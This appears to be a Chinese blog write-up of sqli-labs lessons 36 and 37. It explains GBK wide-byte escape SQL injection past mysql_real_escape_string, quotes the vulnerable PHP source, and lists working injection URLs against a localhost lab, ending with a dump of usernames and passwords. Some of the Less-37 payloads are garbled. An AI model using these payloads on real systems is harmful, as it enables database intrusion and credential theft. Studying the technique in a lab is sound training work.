SQL注入之Sqli-labs系列第三十六关(基于宽字符逃逸GET注入)和三十七关(基于宽字节逃逸的POST注入)
0X1 查看源码
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
} // take the variables
if(isset($_GET['id']))
{
$id=check_quotes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>"; //logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp); // connectivity mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
从上面看到,这次采用了mysql_real_escape_string函数
0x2 函数讲解
(1)介绍
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
(2)字符受影响:
\x00 \n \r \ ' " \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
0x3开始注入
(1)由于源代码中并没有设置成UTF8,任然是gbk,所以mysql_real_escape_string()依旧能够被突破。方法和上述是一样的
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
(2)开搞 先来个and 1=1 和1=2


其他的Payload如下 (部分童鞋在windows下会出现报错,还是因为apache的问题,具体怎么解决目前我还没找到好的方法,如果有已经解决的欢迎留下方法)
http://localhost:81/sqli-labs-master/Less-37/index.php?id=1%df%27 and1=1--+
http://localhost:81/sqli-labs-master/Less-37/index.php?id=1%df%27 and1=1--+
http://localhost:81/sqli-labs-master/Less-37/index.php?id=1%df%27 oder by 3--+
http://localhost:81/sqli-labs-master/Less-37/index.php?id=0%df%27 union select 1,2,3--+
http://localhost:81/sqli-labs-master/Less-37/index.php?id=1%df%27 union select 1,database(),3--+
http://localhost:81/sqli-labs-master/Less-37/index.php?id=1%df%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
http://localhost:81/sqli-labs-master/Less-37/index.php?id=1%df%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
http://localhost:81/sqli-labs-master/Less-37/index.php?id=1%df%27 union select 1,(select group_concat(username,password) from users),3--+
0x4 第三十七关

这一关方式是一样的,只是将两个参数都进行了过滤,绕过方式同样34关同样
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname1=$_POST['uname'];
$passwd1=$_POST['passwd']; //echo "username before addslashes is :".$uname1 ."<br>";
//echo "Input password before addslashes is : ".$passwd1. "<br>"; //logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname1);
fwrite($fp,'Password:'.$passwd1."\n");
fclose($fp); $uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1); //echo "username after addslashes is :".$uname ."<br>";
//echo "Input password after addslashes is : ".$passwd; // connectivity
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
payload:
http://localhost:81/sqli-labs-master/Less-37/index.php?id=1�' and1=1--+
http://localhost:81/sqli-labs-master/Less-37/index.php?id=1�' and1=1--+
http://localhost:81/sqli-labs-master/Less-37/index.php?id=1�' oder by 2--+
http://localhost:81/sqli-labs-master/Less-37/index.php?id=0�' union select 1,2--+
http://localhost:81/sqli-labs-master/Less-37/index.php?id=0�' union select 1,database()--+
http://localhost:81/sqli-labs-master/Less-37/index.php?id=0�' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
http://localhost:81/sqli-labs-master/Less-37/index.php?id=0�' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')--+
http://localhost:81/sqli-labs-master/Less-37/index.php?id=0�' union select 1,(select group_concat(username,password) from users)--+
SQL注入之Sqli-labs系列第三十六关(基于宽字符逃逸GET注入)和三十七关(基于宽字节逃逸的POST注入)的更多相关文章
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- 《手把手教你》系列技巧篇(三十六)-java+ selenium自动化测试-单选和多选按钮操作-番外篇(详解教程)
1.简介 前边几篇文章是宏哥自己在本地弄了一个单选和多选的demo,然后又找了网上相关联的例子给小伙伴或童鞋们演示了一下如何自动化测试,这一篇宏哥在网上找了一个问卷调查,给小伙伴或童鞋们来演示一下.上 ...
- 程序员编程艺术第三十六~三十七章、搜索智能提示suggestion,附近点搜索
第三十六~三十七章.搜索智能提示suggestion,附近地点搜索 作者:July.致谢:caopengcs.胡果果.时间:二零一三年九月七日. 题记 写博的近三年,整理了太多太多的笔试面试题,如微软 ...
- NeHe OpenGL教程 第三十六课:从渲染到纹理
转自[翻译]NeHe OpenGL 教程 前言 声明,此 NeHe OpenGL教程系列文章由51博客yarin翻译(2010-08-19),本博客为转载并稍加整理与修改.对NeHe的OpenGL管线 ...
- 剑指Offer(三十六):两个链表的第一个公共结点
剑指Offer(三十六):两个链表的第一个公共结点 搜索微信公众号:'AI-ming3526'或者'计算机视觉这件小事' 获取更多算法.机器学习干货 csdn:https://blog.csdn.ne ...
- Java进阶(三十六)深入理解Java的接口和抽象类
Java进阶(三十六)深入理解Java的接口和抽象类 前言 对于面向对象编程来说,抽象是它的一大特征之一.在Java中,可以通过两种形式来体现OOP的抽象:接口和抽象类.这两者有太多相似的地方,又有太 ...
- Gradle 1.12用户指南翻译——第三十六章. Sonar Runner 插件
本文由CSDN博客万一博主翻译,其他章节的翻译请参见: http://blog.csdn.net/column/details/gradle-translation.html 翻译项目请关注Githu ...
- 第三百三十六节,web爬虫讲解2—urllib库中使用xpath表达式—BeautifulSoup基础
第三百三十六节,web爬虫讲解2—urllib库中使用xpath表达式—BeautifulSoup基础 在urllib中,我们一样可以使用xpath表达式进行信息提取,此时,你需要首先安装lxml模块 ...
随机推荐
- python爬虫——论抓包的正确姿势和学好Javascript的重要性(1)
没事想爬下数据,就入了scrapy坑,跟着https://zhuanlan.zhihu.com/data-factory这篇教程走,中间被小数量的网站坑过,不过还是写出了爬虫~~ 切糕王子:毫无防御, ...
- FIT9132 Introduction to Databases
FIT9132 Introduction to Databases2019 Semester 1Assignment 1 - Database Design - Monash Hospital (MH ...
- Greeting Card
问题 G: Greeting Card 时间限制: 1 Sec 内存限制: 128 MB 提交: 666 解决: 59 [提交] [状态] [命题人:admin] 题目描述 Quido plans ...
- MYSQL : The user specified as a definer ('root'@'%') does not exist
The user specified as a definer ('root'@'%') does not exist 此种报错主要是针对访问视图文件引起的(没有权限) 解决方法: 2.进入mysql ...
- 命令行找不到genstrings问题tip
问题:初次使用命令行genstrings,提示使用的是命令行工具而非xcode,无法直接使用genstrings. 解决方案:命令行输入sudo xcode-select --switch /Appl ...
- webpack4入门
前提 已安装node(版本号>4.0,已自带NPM) mac机器 有一个空目录 无webpack.config.js配置打包 快速构建package.json文件. npm init -y 安装 ...
- AutoFac在MVC中的使用
在asp.net mvc控制器中使用Autofac来解析依赖 如下Controller中使用构造函数依赖注入接口IUserService: public IUserService _IUserServ ...
- ActiveMQ组件使用方法
由于组件使用了spring,故需要相关的spring包及配置 首先,需要加载对应的jar包 然后,编写调用类 package com.demo.testSpring; import com.jfina ...
- 1. Two Sum&&15. 3Sum&&18. 4Sum
题目: 1. Two Sum Given an array of integers, return indices of the two numbers such that they add up t ...
- React文档(十一)提升state
经常有些组件需要映射同一个改变的数据.我们建议将共用的state提升至最近的同一个祖先元素.我们来看看这是怎样运作的. 在这一节中,我们会创建一个温度计算器来计算提供的水温是否足够沸腾. 我们先创建一 ...